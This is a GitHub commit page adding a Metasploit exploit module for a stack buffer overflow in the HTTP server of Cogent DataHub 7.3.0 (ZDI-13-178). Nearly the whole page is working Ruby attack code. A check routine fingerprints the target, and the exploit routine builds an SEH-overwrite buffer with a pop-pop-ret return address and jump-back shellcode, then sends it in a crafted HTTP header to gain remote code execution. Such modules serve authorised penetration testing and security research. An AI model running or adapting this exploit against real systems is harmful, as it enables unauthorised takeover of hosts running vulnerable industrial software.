Skip to content

Commit a8cc15d

Browse files
author
jvazquez-r7
committed
Add module for ZDI-13-178
1 parent 1eb3c32 commit a8cc15d

File tree

1 file changed

+101
-0
lines changed

1 file changed

+101
-0
lines changed
Lines changed: 101 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,101 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = NormalRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Exploit::Remote::Seh
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'Cogent DataHub HTTP Server Buffer Overflow',
19+
'Description' => %q{
20+
This module exploits a stack based buffer overflow Cogent DataHub 7.3.0. The
21+
vulnerability exists in the HTTP server, while handling HTTP headers, where the
22+
strncpy() function is used in a dangerous way. This module has been tested
23+
successfully on Cogent DataHub 7.3.0 (Demo) on Windows XP SP3.
24+
},
25+
'Author' =>
26+
[
27+
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
28+
'juan vazquez', # Metasploit module
29+
],
30+
'License' => MSF_LICENSE,
31+
'References' =>
32+
[
33+
[ 'OSVDB', '95819'],
34+
[ 'BID', '53455'],
35+
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-178' ],
36+
[ 'URL', 'http://www.cogentdatahub.com/Info/130712_ZDI-CAN-1915_Response.html']
37+
],
38+
'DefaultOptions' =>
39+
{
40+
'EXITFUNC' => 'process',
41+
},
42+
'Privileged' => false,
43+
'Payload' =>
44+
{
45+
'Space' => 33692,
46+
'DisableNops' => true,
47+
'BadChars' => "\x00\x0d\x0a\x3a"
48+
},
49+
'Platform' => 'win',
50+
'Targets' =>
51+
[
52+
# Tested with the Cogent DataHub 7.3.0 Demo
53+
# CogentDataHubV7.exe 7.3.0.70
54+
['Windows XP SP3 English / Cogent DataHub 7.3.0',
55+
{
56+
'Ret' => 0x7ffc070e, # ppr # from NLS tables # Tested stable over Windows XP SP3 updates
57+
'Offset' => 33692,
58+
'CrashLength' => 4000 # In order to ensure crash before the stack cookie check
59+
}
60+
],
61+
],
62+
'DefaultTarget' => 0,
63+
'DisclosureDate' => 'Jul 26 2013'
64+
))
65+
66+
end
67+
68+
def check
69+
res = send_request_cgi({
70+
'uri' => "/datahub.asp",
71+
'method' => 'GET',
72+
})
73+
74+
if res and res.code == 200 and res.body =~ /<title>DataHub - Web Data Browser<\/title>/
75+
return Exploit::CheckCode::Detected
76+
end
77+
78+
return Exploit::CheckCode::Safe
79+
end
80+
81+
def exploit
82+
print_status("Trying target #{target.name}...")
83+
84+
off = target['Offset'] + 8 # 8 => length of the seh_record
85+
bof = payload.encoded
86+
bof << rand_text_alpha(target['Offset'] - payload.encoded.length)
87+
bof << generate_seh_record(target.ret)
88+
bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string
89+
bof << rand_text(target['CrashLength'])
90+
91+
print_status("Sending request to #{rhost}:#{rport}")
92+
93+
send_request_cgi({
94+
'uri' => "/",
95+
'method' => 'GET',
96+
'raw_headers' => "#{bof}: #{rand_text_alpha(20 + rand(20))}\r\n"
97+
})
98+
99+
end
100+
end
101+

0 commit comments

Comments
 (0)